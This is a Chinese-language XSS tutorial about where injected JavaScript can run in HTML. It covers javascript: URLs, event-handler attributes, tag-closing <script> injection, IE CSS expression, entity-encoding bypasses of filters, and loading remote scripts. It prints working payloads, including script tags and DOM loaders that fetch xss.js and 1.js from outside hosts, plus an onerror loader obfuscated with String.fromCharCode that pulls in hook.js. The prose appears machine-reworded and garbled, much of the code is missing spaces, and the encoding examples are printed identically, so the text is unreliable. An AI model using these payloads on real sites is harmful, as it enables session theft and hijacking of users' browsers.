一、html可以执行javascript的地方有哪些?
先举个例子例如这一代码
1<a href="$a">f4ck</a>
自变量$a可控性,如何让这一代码弹窗(执行javascript代码)呢?
(1)特性值引进javascript:[code]伪协议书,来执行javascript代码。也就是$a=javascript:alert(1)
仅有引入文档的特性才可以开启javascript脚本制作,这种标识有:
href
action
bgsound
background
value
dynsrc
lowsrc。
1<formaction="javascript:alert(1)">
2<input type="text"name="name"value="">
3<input type="submit"value="递交">
4</form>
5<img src="javascript:alert('1');"/>
因为这种特性值并不是通用性特性,因此会在不一样的标识中,假如在火狐上检测失败请在ie下检测,我就用ie6检测是获得成功的。
(2)"合闭前一个特性值,引进量化策略特性。量化策略特性的值是javascript代码,因此可以执行javascript。量化策略特性是标识的通用性特性,因此全部标识都能够用。也就是
1$a="onclick=alert(1)
2那样的量化策略特性标识也有:
ondblclick
onmousedown
onmouseup
onmouseover
onmousemove
onmouseout
onmousepress
onmousedown
onmouseup
1<a href=""onclick=alert(1)>f4ck</a>
(3)合闭标识,引进<script></scirpt>标识来执行javascript代码。也就是:
1$a="><script>alert(1)</script>
(4)CSS可以根据expression特性执行javascript代码
expression是ie特有的css属性,其目标是为了更好地插进一段javascript代码。
1<pstyle="xss:expression(alert(1))">
在ie6下执行取得成功。
1@import"http://www.91ri.org/xss.css";
可以从外界导进存在xss代码的css样式。
假如css属性可控性,除开可以在expression后边加上javascript代码执行外,还能够像(2)(3)一样根据合闭标识和特性值来做到执行javascript的目地。
黑云上的实例:http://www.wooyun.org/tags/css%E...5��致xss
综上所述,可以在html里执行javascript的地方有
1、运用javascript:在特性值里2、量化策略特性3、<script></script>标识中(包含这类方式<scriptsrc="http://www.91ri.org/1.js"></script>)4、CSS中的expression特性中(仅IE)。
二、为何编号后的代码依然可以执行?
(1)上边的$a是没被过虑的,但倘若被过虑了该怎么办,倘若仅仅信用黑名单过虑了javascript,或是仅仅对$a开展了htmlspecialchars()变换。执行javascript的地方只完成了html编号。
<a href="$a">f4ck</a>
$a的值
1javascript:alert(1)
$a的值
1javascript:alert(1)
$a的值:
1javascript:alert(1)
以上为html的三种编码。递交后,可以绕开信用黑名单javascript,开展htmlspecialchars()编号是不可能出现其他改变的,那麼,这一段代码怎么会执行?
由于这一代码,电脑浏览器从头开始分析当解析到,$a的值时,一切正常将它编解码,就变为javascript:alert(1),随后这一代码在href特性中,因此就执行了。
三、怎么远程载入外界js?
先而言说html标识,html标记实际上可以分成二种
1、文字用合闭标识。
例:<h1>f4ck</h1>
2、引入內容用自合闭标识。
例:<img src="images/2022/bdlogo.gif"/>
电脑浏览器会在html页面载入时,附加向服务器发送要求,注:这儿是html标签的特点,不必和同源策略相搞混,同源策略是用于限定电脑浏览器的。
载入进去的js和本域是同宗的。
什么标识可以远程控制载入外界js,并执行呢?
1、
1<scriptsrc="www.91ri.org/1.js"></script>
2、
1<iframesrc="www.91ri.org/1.js"></iframe>
3、
1<iframesrc=javascript:with(document)0[body.appendChild(document.createElement('script')).src="http://url.cn/1.js"]></iframe>
实际上3便是dom的方式建立和插进连接点。
1vars=document.createElement("script");
2s.src="http://www.91ri.org/xss.js";
3document.getElementsByTagName("head")[0].appendChild(s);
立即用3用以
viewsource
1<img src='#'onerror=“vara=document.getElementsByTagName('head').item(0);
2varb=document.createElement(String.fromCharCode(115,99,114,105,112,116));
3b.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);
4b.src=‘hook.js';
5a.appendChild(b);">